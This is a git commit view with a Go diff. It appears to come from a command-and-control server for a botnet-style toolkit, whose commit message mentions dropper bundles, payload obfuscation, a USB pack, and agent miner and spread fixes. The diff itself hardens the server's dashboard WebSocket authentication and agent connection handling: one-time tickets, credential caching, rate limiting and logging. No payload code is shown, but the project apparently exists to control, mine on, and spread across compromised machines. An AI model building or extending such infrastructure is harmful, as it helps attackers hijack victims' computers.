fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -27,9 +27,14 @@ func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
// checkDashboardWSToken validates dashboard WS upgrade credentials.
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
func checkDashboardWSToken(r *http.Request) bool {
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
_, ok := consumeWSTicket(ticket)
return ok
}
token := r.URL.Query().Get("token")
if token == "" {
return false
@@ -43,10 +48,17 @@ func checkDashboardWSToken(r *http.Request) bool {
return false
}
user, pass := parts[0], parts[1]
if authCacheHit(user, pass) {
return true
}
usersMu.RLock()
stored, exists := authUsers[user]
usersMu.RUnlock()
return exists && checkPassword(stored, pass)
if !exists || !checkPassword(stored, pass) {
return false
}
authCacheSet(user, pass)
return true
}
var upgrader = websocket.Upgrader{
@@ -374,10 +386,8 @@ func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]int
}
h.pendingCmdMu.Unlock()
if ok {
select {
case ch <- payload:
default:
}
// Blocking send — Path Tracer and other orchestrators must not drop results.
ch <- payload
}
}
@@ -464,13 +474,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if clientIP == "" {
clientIP = r.RemoteAddr
}
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
if !allowAgentWSUpgrade(clientIP) {
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
return
}
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))
agentID := ""
defer func() {
@@ -1119,14 +1138,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
}
default:
if agentID != "" {
log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
} else {
log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
}
}
}
}
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Verify dashboard session. The SPA sends its stored Basic-auth token as
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
// We decode it and check against the same in-memory user map as the REST API.
// Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
if !checkDashboardWSToken(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)